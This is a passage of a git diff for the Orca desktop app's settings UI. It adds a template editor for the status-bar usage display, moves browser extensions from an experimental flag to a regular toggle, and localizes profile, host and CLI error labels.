   combos: ShortcutKeyComboDetails[]
 }): React.JSX.Element {
-  const t = useTranslate()
+  useTranslate()
   if (combos.length === 0) {
-    return (
-      <span className="text-xs text-muted-foreground">
-        {t('auto.components.settings.AppearancePane.3057983501', 'Unassigned')}
-      </span>
-    )
+    return <span className="text-xs text-muted-foreground">{translateUnassignedLabel()}</span>
   }
   const primaryCombo = combos[0]
 
diff --git a/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx b/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx
index 157fbfa3bf7..3402f50a375 100644
--- a/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx
+++ b/src/renderer/src/components/settings/appearance/AppearanceWindowSidebarSection.tsx
@@ -27,6 +27,8 @@ import {
 } from './appearance-usage-percentage-search'
 
 import { LeftSidebarAppearanceSetting } from './LeftSidebarAppearanceSetting'
+import { getStatusBarUsageFormatEntry } from './appearance-status-bar-usage-format-search'
+import { StatusBarUsageFormatSetting } from './StatusBarUsageFormatSetting'
 
 import { useTranslate } from '@/i18n/use-translate'
 import { matchesSettingsSearch, normalizeSettingsSearchQuery } from '../search/settings-search'
@@ -63,6 +65,7 @@ function recordStatusBarToggleInteraction(
   }
 }
 
+/** Window & Sidebar appearance section: sidebar/chrome appearance, status bar controls, and layout advanced settings. */
 export function AppearanceWindowSidebarSection({
   settings,
   updateSettings,
@@ -79,6 +82,9 @@ export function AppearanceWindowSidebarSection({
   const setWorktreeCardMode = useAppStore((state) => state.setWorktreeCardMode)
   const visibleStatusBarToggles = useAvailableStatusBarToggles(getStatusBarToggles())
   const usagePercentageDisplayEntry = getUsagePercentageDisplayEntry()
+  const statusBarUsageFormatEntry = getStatusBarUsageFormatEntry()
+  const statusBarUsageFormat = useAppStore((state) => state.statusBarUsageFormat)
+  const setStatusBarUsageFormat = useAppStore((state) => state.setStatusBarUsageFormat)
   const leftSidebarAppearanceEntry = getLeftSidebarAppearanceEntry()
   const sidebarEntries = getSidebarEntries()
   const workspaceCardLayoutEntry = getWorkspaceCardLayoutEntry()
@@ -97,6 +103,7 @@ export function AppearanceWindowSidebarSection({
   })
   const statusBarControlMatches =
     matchesSettingsSearch(searchQuery, usagePercentageDisplayEntry) ||
+    matchesSettingsSearch(searchQuery, statusBarUsageFormatEntry) ||
     visibleStatusBarToggles.some((toggle) =>
       matchesSettingsSearch(searchQuery, {
         title: toggle.title,
@@ -170,6 +177,18 @@ export function AppearanceWindowSidebarSection({
                 />
               </SearchableSetting>
 
+              <SearchableSetting
+                title={statusBarUsageFormatEntry.title}
+                description={statusBarUsageFormatEntry.description}
+                keywords={statusBarUsageFormatEntry.keywords}
+                className="space-y-2"
+              >
+                <StatusBarUsageFormatSetting
+                  format={statusBarUsageFormat}
+                  onChange={setStatusBarUsageFormat}
+                />
+              </SearchableSetting>
+
               {visibleStatusBarToggles.map((toggle) => {
                 const enabled = statusBarItems.includes(toggle.id)
                 return (
diff --git a/src/renderer/src/components/settings/appearance/StatusBarUsageFormatSetting.tsx b/src/renderer/src/components/settings/appearance/StatusBarUsageFormatSetting.tsx
new file mode 100644
index 00000000000..90e535a6e69
--- /dev/null
+++ b/src/renderer/src/components/settings/appearance/StatusBarUsageFormatSetting.tsx
@@ -0,0 +1,179 @@
+import type React from 'react'
+import { useMemo, useState } from 'react'
+import type { ProviderRateLimits } from '../../../../../shared/rate-limit-types'
+import type { StatusBarUsageFormat } from '../../../../../shared/status-bar-usage-format'
+import { normalizeUsagePercentageDisplay } from '../../../../../shared/usage-percentage-display'
+import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
+import { useAppStore } from '../../../store'
+import { Button } from '../../ui/button'
+import { Input } from '../../ui/input'
+import {
+  buildUsageFormatValues,
+  renderUsageFormatTemplate
+} from '../../status-bar/usage-format-template'
+import { getStatusBarUsageFormatEntry } from './appearance-status-bar-usage-format-search'
+import { SettingsRow } from '../form-controls/SettingsFormControls'
+
+type StatusBarUsageFormatSettingProps = {
+  format: StatusBarUsageFormat
+  onChange: (format: StatusBarUsageFormat) => void
+}
+
+const EXAMPLE_TEMPLATE =
+  '{provider}[ | 5h: {5h} ({5h.reset})][ | 7d: {7d}][ | Fable: {fable}][ | 30d: {30d}]'
+
+/** Fixed sample so the preview reads meaningfully before any provider has reported usage. */
+function sampleLimits(now: number): ProviderRateLimits {
+  const hours = 60 * 60 * 1000
+  return {
+    provider: 'claude',
+    session: {
+      usedPercent: 14,
+      windowMinutes: 300,
+      resetsAt: now + 3.25 * hours,
+      resetDescription: null
+    },
+    weekly: {
+      usedPercent: 20,
+      windowMinutes: 10080,
+      resetsAt: now + 63 * hours,
+      resetDescription: null
+    },
+    fableWeekly: {
+      usedPercent: 37,
+      windowMinutes: 10080,
+      resetsAt: now + 63 * hours,
+      resetDescription: null
+    },
+    updatedAt: now,
+    error: null,
+    status: 'ok'
+  }
+}
+
+/** Template editor for the footer usage text, with a live preview rendered against sample limits. */
+export function StatusBarUsageFormatSetting({
+  format,
+  onChange
+}: StatusBarUsageFormatSettingProps): React.JSX.Element {
+  const t = useTranslate()
+  const locale = useIntlLocale()
+  const placeholders: readonly [string, string][] = [
+    [
+      '{provider}',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.provider',
+        'provider name'
+      )
+    ],
+    [
+      '{plan}',
+      t('auto.components.settings.StatusBarUsageFormatSetting.placeholder.plan', 'plan (Codex)')
+    ],
+    [
+      '{5h} {7d} {fable} {30d}',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.windows',
+        'window percentage'
+      )
+    ],
+    [
+      '{5h.reset}',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.reset',
+        'time until reset, e.g. 3h 15m'
+      )
+    ],
+    [
+      '{5h.resetAt}',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.resetAt',
+        'reset clock time, e.g. 20:50'
+      )
+    ],
+    [
+      '{buckets}',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.buckets',
+        'Gemini model buckets'
+      )
+    ],
+    [
+      '[ … ]',
+      t(
+        'auto.components.settings.StatusBarUsageFormatSetting.placeholder.optional',
+        'dropped when a placeholder inside is empty'
+      )
+    ]
+  ]
+  const display = normalizeUsagePercentageDisplay(useAppStore((s) => s.usagePercentageDisplay))
+  const entry = getStatusBarUsageFormatEntry()
+  const template = format.template
+  const hasTemplate = template.trim().length > 0
+  // Why: the sample's reset times are relative to `now`, so a mount-time clock keeps the preview stable.
+  const [now] = useState(() => Date.now())
+  const preview = useMemo(() => {
+    if (!hasTemplate) {
+      return null
+    }
+    return renderUsageFormatTemplate(
+      template,
+      buildUsageFormatValues(sampleLimits(now), { display, now, locale })
+    )
+  }, [display, hasTemplate, now, template, locale])
+
+  return (
+    <div className="space-y-2">
+      <SettingsRow
+        alignTop
+        label={entry.title}
+        description={entry.description}
+        control={
+          hasTemplate ? (
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={() => onChange({ ...format, template: '' })}
+            >
+              {t('auto.components.settings.StatusBarUsageFormatSetting.reset', 'Reset')}
+            </Button>
+          ) : null
+        }
+      />
+      {/* Why full-width: templates run long, and the row's control slot would truncate them. */}
+      <Input
+        aria-label={entry.title}
+        value={template}
+        placeholder={EXAMPLE_TEMPLATE}
+        spellCheck={false}
+        variant="code"
+        className="h-8"
+        onChange={(event) => onChange({ ...format, template: event.target.value })}
+      />
+      <div className="space-y-1 text-[11px] text-muted-foreground">
+        <div>
+          <span className="text-foreground/80">
+            {t('auto.components.settings.StatusBarUsageFormatSetting.previewLabel', 'Preview')}
+            {': '}
+          </span>
+          {preview !== null ? (
+            <span className="whitespace-pre font-mono tabular-nums text-foreground">{preview}</span>
+          ) : (
+            t(
+              'auto.components.settings.StatusBarUsageFormatSetting.previewBuiltin',
+              'Leave empty to use Orca’s built-in format.'
+            )
+          )}
+        </div>
+        <dl className="grid grid-cols-[auto_1fr] gap-x-3 gap-y-0.5">
+          {placeholders.map(([token, label]) => (
+            <div key={token} className="contents">
+              <dt className="font-mono">{token}</dt>
+              <dd>{label}</dd>
+            </div>
+          ))}
+        </dl>
+      </div>
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/settings/appearance/UIZoomControl.tsx b/src/renderer/src/components/settings/appearance/UIZoomControl.tsx
index e4484a9d921..426fcd7e90a 100644
--- a/src/renderer/src/components/settings/appearance/UIZoomControl.tsx
+++ b/src/renderer/src/components/settings/appearance/UIZoomControl.tsx
@@ -1,7 +1,7 @@
 import { useEffect, useState, useCallback } from 'react'
 import { Button } from '../../ui/button'
 import { Minus, Plus, RotateCcw } from 'lucide-react'
-import { applyUIZoom } from '@/lib/ui-zoom'
+import { applyUIZoom } from '@/app-shell/chrome/ui-zoom'
 import {
   UI_ZOOM_STEP as ZOOM_STEP,
   UI_ZOOM_MIN as ZOOM_MIN,
diff --git a/src/renderer/src/components/settings/appearance/appearance-search.ts b/src/renderer/src/components/settings/appearance/appearance-search.ts
index 2ed20eb59ae..ae2a96e7ca6 100644
--- a/src/renderer/src/components/settings/appearance/appearance-search.ts
+++ b/src/renderer/src/components/settings/appearance/appearance-search.ts
@@ -8,6 +8,7 @@ import { translateSearchKeyword } from '../search/settings-search-keywords'
 import { SHOW_UI_LANGUAGE_SETTING } from '@/i18n/supported-languages'
 import { getStatusBarToggles } from './appearance-status-bar-search'
 import { getUsagePercentageDisplayEntry } from './appearance-usage-percentage-search'
+import { getStatusBarUsageFormatEntry } from './appearance-status-bar-usage-format-search'
 import { getMenuBarIconEntries, getSystemTrayEntries } from './appearance-system-presence-search'
 import { getReduceVisualEffectsEntries } from './appearance-reduce-visual-effects-search'
 import { getAppIconEntries } from './appearance-app-icon-search'
@@ -230,8 +231,10 @@ export const getTitlebarEntries = createLocalizedCatalog((): SettingsSearchEntry
   }
 ])
 
+/** Search entries for every Status Bar control, including the per-provider toggles. */
 export const getStatusBarEntries = createLocalizedCatalog((): SettingsSearchEntry[] => [
   getUsagePercentageDisplayEntry(),
+  getStatusBarUsageFormatEntry(),
   ...getStatusBarToggles().map(({ title, description, keywords }) => ({
     title,
     description,
diff --git a/src/renderer/src/components/settings/appearance/appearance-status-bar-usage-format-search.ts b/src/renderer/src/components/settings/appearance/appearance-status-bar-usage-format-search.ts
new file mode 100644
index 00000000000..564b3a31e8b
--- /dev/null
+++ b/src/renderer/src/components/settings/appearance/appearance-status-bar-usage-format-search.ts
@@ -0,0 +1,35 @@
+import { createLocalizedCatalog } from '@/i18n/localized-catalog'
+import { translate } from '@/i18n/i18n'
+import type { SettingsSearchEntry } from '../search/settings-search'
+import { translateSearchKeyword } from '../search/settings-search-keywords'
+
+/** Settings-search entry for the status bar usage format template. */
+export const getStatusBarUsageFormatEntry = createLocalizedCatalog((): SettingsSearchEntry => ({
+  title: translate(
+    'auto.components.settings.appearance.search.statusBarUsageFormat.title',
+    'Usage format'
+  ),
+  description: translate(
+    'auto.components.settings.appearance.search.statusBarUsageFormat.description',
+    'Customize how each provider’s usage is written in the status bar with placeholders.'
+  ),
+  keywords: [
+    ...translateSearchKeyword('auto.components.settings.appearance.search.00a028f25f', 'usage'),
+    ...translateSearchKeyword(
+      'auto.components.settings.appearance.search.896eb53fd4',
+      'status bar'
+    ),
+    ...translateSearchKeyword(
+      'auto.components.settings.appearance.search.statusBarUsageFormat.format',
+      'format'
+    ),
+    ...translateSearchKeyword(
+      'auto.components.settings.appearance.search.statusBarUsageFormat.template',
+      'template'
+    ),
+    ...translateSearchKeyword(
+      'auto.components.settings.appearance.search.statusBarUsageFormat.placeholder',
+      'placeholder'
+    )
+  ]
+}))
diff --git a/src/renderer/src/components/settings/browser/BrowserPane.tsx b/src/renderer/src/components/settings/browser/BrowserPane.tsx
index 0014d31cbaa..ffa10cebb22 100644
--- a/src/renderer/src/components/settings/browser/BrowserPane.tsx
+++ b/src/renderer/src/components/settings/browser/BrowserPane.tsx
@@ -23,6 +23,7 @@ import { SettingsGroup } from '../section-layout/SettingsGroup'
 import { BrowserSessionCookiesSection } from './profiles/BrowserSessionCookiesSection'
 import { BrowserNewProfileDialog } from './profiles/BrowserNewProfileDialog'
 import { BrowserExtensionsSection } from './extensions/BrowserExtensionsSection'
+import { getBrowserExtensionsSearchEntry } from './extensions/browser-extensions-search'
 import { BrowserPasswordsSection } from './passwords/BrowserPasswordsSection'
 import { getBrowserPasswordsSearchEntry } from './passwords/browser-passwords-copy'
 import {
@@ -39,6 +40,8 @@ import {
 import { isMacUserAgent } from '@/app-shell/platform/user-agent-platform'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateHostDisplayLabel } from '../../sidebar/execution-host-label'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
 import { resolveAvailableBrowserSessionHostId } from './profiles/browser-session-host-selection'
 import { getDefaultBrowserProfileForHost } from '@/store/slices/browser/hosts/browser-host-state'
@@ -153,7 +156,7 @@ export function BrowserPane({
         .filter((host) => host.kind === 'local' || host.kind === 'runtime')
         .map((host) => ({
           id: host.id,
-          label: host.label,
+          label: translateHostDisplayLabel(host, t),
           detail:
             host.kind === 'local'
               ? t('auto.components.settings.BrowserPane.86b7c83fee', 'This computer')
@@ -184,9 +187,10 @@ export function BrowserPane({
   const activeBrowserSessionProfileId =
     useAppStore((s) => getDefaultBrowserProfileForHost(s, selectedBrowserSessionHostId)) ??
     'default'
-  const activeBrowserSessionProfileLabel =
-    browserSessionProfiles.find((profile) => profile.id === activeBrowserSessionProfileId)?.label ??
+  const activeBrowserSessionProfileLabel = translateBrowserSessionProfileLabel(
+    browserSessionProfiles.find((profile) => profile.id === activeBrowserSessionProfileId)?.label,
     activeBrowserSessionProfileId
+  )
   useEffect(() => {
     const requestedHostId = browserSessionHostIdOverride ?? settingsFocusedHostId
     if (selectedBrowserSessionHostId !== requestedHostId) {
@@ -241,7 +245,7 @@ export function BrowserPane({
     !isWebClientLocation() &&
     selectedBrowserSessionHostId === LOCAL_EXECUTION_HOST_ID
   const showExtensions =
-    settings.experimentalBrowserExtensions === true &&
+    matchesSettingsSearch(searchQuery, [getBrowserExtensionsSearchEntry()]) &&
     selectedBrowserSessionHostId === LOCAL_EXECUTION_HOST_ID
 
   return (
@@ -398,6 +402,8 @@ export function BrowserPane({
             <BrowserExtensionsSection
               profileId={activeBrowserSessionProfileId}
               profileLabel={activeBrowserSessionProfileLabel}
+              settings={settings}
+              updateSettings={updateSettings}
             />
           ) : null}
         </SettingsGroup>
diff --git a/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx b/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx
index 8536e19674a..34c4c545484 100644
--- a/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx
+++ b/src/renderer/src/components/settings/browser/BrowserSitePermissionsSetting.tsx
@@ -19,6 +19,7 @@ import { getBrowserSitePermissionsSearchEntry } from './browser-site-permissions
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
 import { useAppStore } from '../../../store/index'
 import { useTranslate } from '@/i18n/use-translate'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 
 function SitePermissionRow({
   entry,
@@ -138,7 +139,7 @@ export function BrowserSitePermissionsSetting(): React.JSX.Element {
             <SelectContent align="end">
               {profiles.map((profile) => (
                 <SelectItem key={profile.id} value={profile.id}>
-                  {profile.label}
+                  {translateBrowserSessionProfileLabel(profile.label, profile.id)}
                 </SelectItem>
               ))}
             </SelectContent>
diff --git a/src/renderer/src/components/settings/browser/browser-pane-search.ts b/src/renderer/src/components/settings/browser/browser-pane-search.ts
index 497d14f047f..950ed270281 100644
--- a/src/renderer/src/components/settings/browser/browser-pane-search.ts
+++ b/src/renderer/src/components/settings/browser/browser-pane-search.ts
@@ -2,12 +2,14 @@ import type { SettingsSearchEntry } from '../search/settings-search'
 import { getBrowserPaneSearchEntries } from './browser-search'
 import { getBrowserUsePaneSearchEntries } from './use/browser-use-search'
 import { getBrowserPasswordsSearchEntry } from './passwords/browser-passwords-copy'
+import { getBrowserExtensionsSearchEntry } from './extensions/browser-extensions-search'
 import { createLocalizedCatalog } from '@/i18n/localized-catalog'
 
 export const getBrowserPaneCombinedSearchEntries = createLocalizedCatalog(
   (): SettingsSearchEntry[] => [
     ...getBrowserUsePaneSearchEntries(),
     ...getBrowserPaneSearchEntries(),
-    getBrowserPasswordsSearchEntry()
+    getBrowserPasswordsSearchEntry(),
+    getBrowserExtensionsSearchEntry()
   ]
 )
diff --git a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsExperimentalSetting.tsx b/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsExperimentalSetting.tsx
deleted file mode 100644
index 1c3d806aa48..00000000000
--- a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsExperimentalSetting.tsx
+++ /dev/null
@@ -1,50 +0,0 @@
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
-import { useTranslate } from '@/i18n/use-translate'
-import { Label } from '../../../ui/label'
-import { SearchableSetting } from '../../section-layout/SearchableSetting'
-import { Switch } from '@/components/ui/switch'
-import { getExperimentalSearchEntry } from '../../advanced/experimental-search'
-
-type BrowserExtensionsExperimentalSettingProps = {
-  settings: GlobalSettings
-  updateSettings: (updates: Partial<GlobalSettings>) => void
-}
-
-export function BrowserExtensionsExperimentalSetting({
-  settings,
-  updateSettings
-}: BrowserExtensionsExperimentalSettingProps): React.JSX.Element {
-  const t = useTranslate()
-  const entry = getExperimentalSearchEntry().browserExtensions
-  const enabled = settings.experimentalBrowserExtensions === true
-
-  return (
-    <SearchableSetting
-      title={entry.title}
-      description={entry.description}
-      keywords={entry.keywords}
-      className="space-y-3 py-3"
-      id="experimental-browser-extensions"
-    >
-      <div className="flex items-start justify-between gap-4">
-        <div className="min-w-0 shrink space-y-0.5">
-          <Label>{entry.title}</Label>
-          <p className="text-xs text-muted-foreground">
-            {t(
-              'auto.components.settings.ExperimentalPane.browserExtensions.copy',
-              'Adds Settings › Browser › Extensions for local browser profiles.'
-            )}
-          </p>
-        </div>
-        <Switch
-          checked={enabled}
-          aria-label={t(
-            'auto.components.settings.ExperimentalPane.browserExtensions.toggleLabel',
-            'Toggle browser extensions'
-          )}
-          onCheckedChange={() => updateSettings({ experimentalBrowserExtensions: !enabled })}
-        />
-      </div>
-    </SearchableSetting>
-  )
-}
diff --git a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx b/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx
index 16627299102..a58fc1088e0 100644
--- a/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx
+++ b/src/renderer/src/components/settings/browser/extensions/BrowserExtensionsSection.tsx
@@ -1,6 +1,7 @@
 import { useEffect, useState } from 'react'
 import { FolderOpen, Puzzle, RotateCw, Settings2, Trash2 } from 'lucide-react'
 import { toast } from 'sonner'
+import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import type {
   BrowserExtensionActionResult,
   BrowserExtensionListing,
@@ -21,6 +22,8 @@ import { BrowserExtensionsWebStoreInstall } from './BrowserExtensionsWebStoreIns
 type BrowserExtensionsSectionProps = {
   profileId: string
   profileLabel: string
+  settings: GlobalSettings
+  updateSettings: (updates: Partial<GlobalSettings>) => void
 }
 
 function ExtensionRow({
@@ -137,9 +140,12 @@ function ExtensionRow({
 
 export function BrowserExtensionsSection({
   profileId,
-  profileLabel
+  profileLabel,
+  settings,
+  updateSettings
 }: BrowserExtensionsSectionProps): React.JSX.Element {
   const t = useTranslate()
+  const enabled = settings.browserExtensionsEnabled !== false
   const confirm = useConfirmationDialog()
   const entry = getBrowserExtensionsSearchEntry()
   const [listing, setListing] = useState<{
@@ -231,23 +237,36 @@ export function BrowserExtensionsSection({
             )}
           </p>
         </div>
-        <Button
-          variant="outline"
-          size="xs"
-          className="shrink-0"
-          disabled={!active || busyId !== null}
-          onClick={() => void loadUnpacked()}
-        >
-          <FolderOpen className="size-3" />
-          {t('settings.browser.extensions.loadUnpacked', 'Load unpacked…')}
-        </Button>
+        <div className="flex shrink-0 items-center gap-2">
+          {enabled ? (
+            <Button
+              variant="outline"
+              size="xs"
+              disabled={!active || busyId !== null}
+              onClick={() => void loadUnpacked()}
+            >
+              <FolderOpen className="size-3" />
+              {t('settings.browser.extensions.loadUnpacked', 'Load unpacked…')}
+            </Button>
+          ) : null}
+          <Switch
+            checked={enabled}
+            aria-label={t(
+              'settings.browser.extensions.enabledToggleLabel',
+              'Turn browser extensions on or off'
+            )}
+            onCheckedChange={() => updateSettings({ browserExtensionsEnabled: !enabled })}
+          />
+        </div>
       </div>
-      <BrowserExtensionsWebStoreInstall
-        profileId={profileId}
-        disabled={!active || busyId !== null}
-        onFinished={() => setRevision((value) => value + 1)}
-      />
-      {active && result.extensions.length === 0 ? (
+      {enabled ? (
+        <BrowserExtensionsWebStoreInstall
+          profileId={profileId}
+          disabled={!active || busyId !== null}
+          onFinished={() => setRevision((value) => value + 1)}
+        />
+      ) : null}
+      {enabled && active && result.extensions.length === 0 ? (
         <p className="text-xs text-muted-foreground">
           {t(
             'settings.browser.extensions.empty',
@@ -255,7 +274,7 @@ export function BrowserExtensionsSection({
           )}
         </p>
       ) : null}
-      {active && result.extensions.length > 0 ? (
+      {enabled && active && result.extensions.length > 0 ? (
         <div className="space-y-2">
           {result.extensions.map((extension) => (
             <ExtensionRow
diff --git a/src/renderer/src/components/settings/browser/extensions/browser-extensions-experimental-search.ts b/src/renderer/src/components/settings/browser/extensions/browser-extensions-experimental-search.ts
deleted file mode 100644
index c7a0c67ee76..00000000000
--- a/src/renderer/src/components/settings/browser/extensions/browser-extensions-experimental-search.ts
+++ /dev/null
@@ -1,36 +0,0 @@
-import type { SettingsSearchEntry } from '../../search/settings-search'
-import { translate } from '@/i18n/i18n'
-import { translateSearchKeyword } from '../../search/settings-search-keywords'
-import { createLocalizedCatalog } from '@/i18n/localized-catalog'
-
-export const getBrowserExtensionsExperimentalSearchEntry = createLocalizedCatalog(
-  (): SettingsSearchEntry => ({
-    title: translate(
-      'auto.components.settings.experimental.search.browserExtensions.title',
-      'Browser extensions'
-    ),
-    description: translate(
-      'auto.components.settings.experimental.search.browserExtensions.description',
-      'Run Chrome extensions, such as password managers, in Orca browser tabs.'
-    ),
-    keywords: [
-      ...translateSearchKeyword(
-        'auto.components.settings.experimental.search.0d24759f14',
-        'experimental'
-      ),
-      ...translateSearchKeyword(
-        'auto.components.settings.experimental.search.browserExtensions.extension',
-        'extension'
-      ),
-      ...translateSearchKeyword(
-        'auto.components.settings.experimental.search.browserExtensions.chrome',
-        'chrome'
-      ),
-      ...translateSearchKeyword(
-        'auto.components.settings.experimental.search.browserExtensions.password',
-        'password manager'
-      )
-    ],
-    targetSectionId: 'experimental-browser-extensions'
-  })
-)
diff --git a/src/renderer/src/components/settings/browser/extensions/browser-extensions-search.ts b/src/renderer/src/components/settings/browser/extensions/browser-extensions-search.ts
index bbdf4db9a06..1f251ffe3c8 100644
--- a/src/renderer/src/components/settings/browser/extensions/browser-extensions-search.ts
+++ b/src/renderer/src/components/settings/browser/extensions/browser-extensions-search.ts
@@ -3,8 +3,6 @@ import { translate } from '@/i18n/i18n'
 import { translateSearchKeyword } from '../../search/settings-search-keywords'
 import { createLocalizedCatalog } from '@/i18n/localized-catalog'
 
-// Why not in getBrowserPaneSearchEntries: that catalog is static, and this section exists only
-// while the experimental setting is on.
 export const getBrowserExtensionsSearchEntry = createLocalizedCatalog((): SettingsSearchEntry => ({
   title: translate('settings.browser.extensions.title', 'Extensions'),
   description: translate(
diff --git a/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx b/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx
index 407737d47f2..2973d71b66e 100644
--- a/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx
+++ b/src/renderer/src/components/settings/browser/profiles/BrowserProfileRow.tsx
@@ -24,6 +24,7 @@ import '../../../../../../shared/constants'
 import { BROWSER_FAMILY_LABELS } from '../../../../../../shared/browser/browser-family-labels'
 import { useTranslate } from '@/i18n/use-translate'
 import { browserCookieImportFailureText } from '@/lib/browser/cookies/browser-cookie-import-error-copy'
+import { translateBrowserSessionProfileLabel } from '@/lib/browser-session-profile-label'
 
 type DetectedBrowser = {
   family: string
@@ -77,7 +78,7 @@ export function BrowserProfileRow({
                 value0: result.summary.importedCookies,
                 value1: browser?.label ?? browserFamily,
                 value2: browserProfile,
-                value3: profile.label
+                value3: translateBrowserSessionProfileLabel(profile.label, profile.id)
               }
             )
           : t(
@@ -86,7 +87,7 @@ export function BrowserProfileRow({
               {
                 value0: result.summary.importedCookies,
                 value1: browser?.label ?? browserFamily,
-                value2: profile.label
+                value2: translateBrowserSessionProfileLabel(profile.label, profile.id)
               }
             ),
         result
@@ -104,7 +105,10 @@ export function BrowserProfileRow({
         t(
           'auto.components.settings.BrowserProfileRow.b4c167764d',
           'Imported {{value0}} cookies from file into {{value1}}.',
-          { value0: result.summary.importedCookies, value1: profile.label }
+          {
+            value0: result.summary.importedCookies,
+            value1: translateBrowserSessionProfileLabel(profile.label, profile.id)
+          }
         ),
         result
       )
@@ -137,7 +141,9 @@ export function BrowserProfileRow({
     >
       <div className="min-w-0 flex-1">
         <div className="flex items-center gap-2">
-          <span className="truncate text-sm font-medium">{profile.label}</span>
+          <span className="truncate text-sm font-medium">
+            {translateBrowserSessionProfileLabel(profile.label, profile.id)}
+          </span>
           {isActive ? (
             <span className="shrink-0 rounded border border-border/50 px-1.5 text-[10px] font-medium leading-4 text-foreground/80">
               {t('auto.components.settings.BrowserProfileRow.c29648fe5b', 'Active')}
@@ -245,7 +251,7 @@ export function BrowserProfileRow({
                   t(
                     'auto.components.settings.BrowserProfileRow.8e636cae25',
                     'Profile "{{value0}}" removed.',
-                    { value0: profile.label }
+                    { value0: translateBrowserSessionProfileLabel(profile.label, profile.id) }
                   )
                 )
               }
diff --git a/src/renderer/src/components/settings/cli/install/CliSection.tsx b/src/renderer/src/components/settings/cli/install/CliSection.tsx
index a21ae69ca9d..23a63357314 100644
--- a/src/renderer/src/components/settings/cli/install/CliSection.tsx
+++ b/src/renderer/src/components/settings/cli/install/CliSection.tsx
@@ -26,6 +26,7 @@ import { useCliRegistrationActions } from './use-cli-registration-actions'
 import { useLocalCliSkillFreshnessName } from '../../../../hooks/skills/freshness/use-local-cli-skill-freshness-name'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 
 type CliSectionProps = {
   currentPlatform: string
@@ -126,7 +127,7 @@ export function CliSection({
       if (mountedRef.current) {
         toast.error(
           error instanceof Error
-            ? error.message
+            ? formatCliUserFacingDetail(error.message) || error.message
             : translate(
                 'auto.components.settings.CliSection.7baec27029',
                 'Failed to load CLI status.'
@@ -182,7 +183,8 @@ export function CliSection({
                       'Checking CLI registration…'
                     )
                   : showDiagnostics
-                    ? (status?.detail ?? getInstallDescription(currentPlatform))
+                    ? formatCliUserFacingDetail(status?.detail) ||
+                      getInstallDescription(currentPlatform)
                     : t(
                         'settings.general.cli.description',
                         'Orca’s own terminals already have it.'
@@ -250,7 +252,9 @@ export function CliSection({
           ) : null}
 
           {!loading && !isSupported && !isBrowserManaged && status?.detail ? (
-            <p className="text-xs text-muted-foreground">{status.detail}</p>
+            <p className="text-xs text-muted-foreground">
+              {formatCliUserFacingDetail(status.detail)}
+            </p>
           ) : null}
 
           {installFailure ? (
diff --git a/src/renderer/src/components/settings/cli/install/WslCliRegistration.tsx b/src/renderer/src/components/settings/cli/install/WslCliRegistration.tsx
index 2e5202609e2..478a0ff5e26 100644
--- a/src/renderer/src/components/settings/cli/install/WslCliRegistration.tsx
+++ b/src/renderer/src/components/settings/cli/install/WslCliRegistration.tsx
@@ -18,6 +18,7 @@ import { Switch } from '../../../ui/switch'
 import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '../../../ui/tooltip'
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 
 type WslCliRegistrationProps = {
   currentPlatform: string
@@ -50,7 +51,7 @@ export function WslCliRegistration({
         if (mountedRef.current) {
           toast.error(
             error instanceof Error
-              ? error.message
+              ? formatCliUserFacingDetail(error.message)
               : translate(
                   'auto.components.settings.WslCliRegistration.26b4b3b00f',
                   'Failed to load WSL CLI status.'
@@ -100,7 +101,7 @@ export function WslCliRegistration({
       if (mountedRef.current) {
         toast.error(
           error instanceof Error
-            ? error.message
+            ? formatCliUserFacingDetail(error.message)
             : t(
                 'auto.components.settings.WslCliRegistration.6f91ad1333',
                 'Failed to register `{{value0}}` in WSL.',
@@ -135,7 +136,7 @@ export function WslCliRegistration({
       if (mountedRef.current) {
         toast.error(
           error instanceof Error
-            ? error.message
+            ? formatCliUserFacingDetail(error.message)
             : t(
                 'auto.components.settings.WslCliRegistration.52d990420e',
                 'Failed to remove `{{value0}}` from WSL.',
@@ -167,11 +168,11 @@ export function WslCliRegistration({
                     'auto.components.settings.WslCliRegistration.0307677bb9',
                     'Checking WSL CLI registration...'
                   )
-                : (status?.detail ??
+                : formatCliUserFacingDetail(status?.detail) ||
                   t(
                     'auto.components.settings.WslCliRegistration.7aa456a460',
                     'Register `orca-ide` in ~/.local/bin inside WSL.'
-                  ))}
+                  )}
             </p>
           </div>
           <div className="flex items-center gap-2">
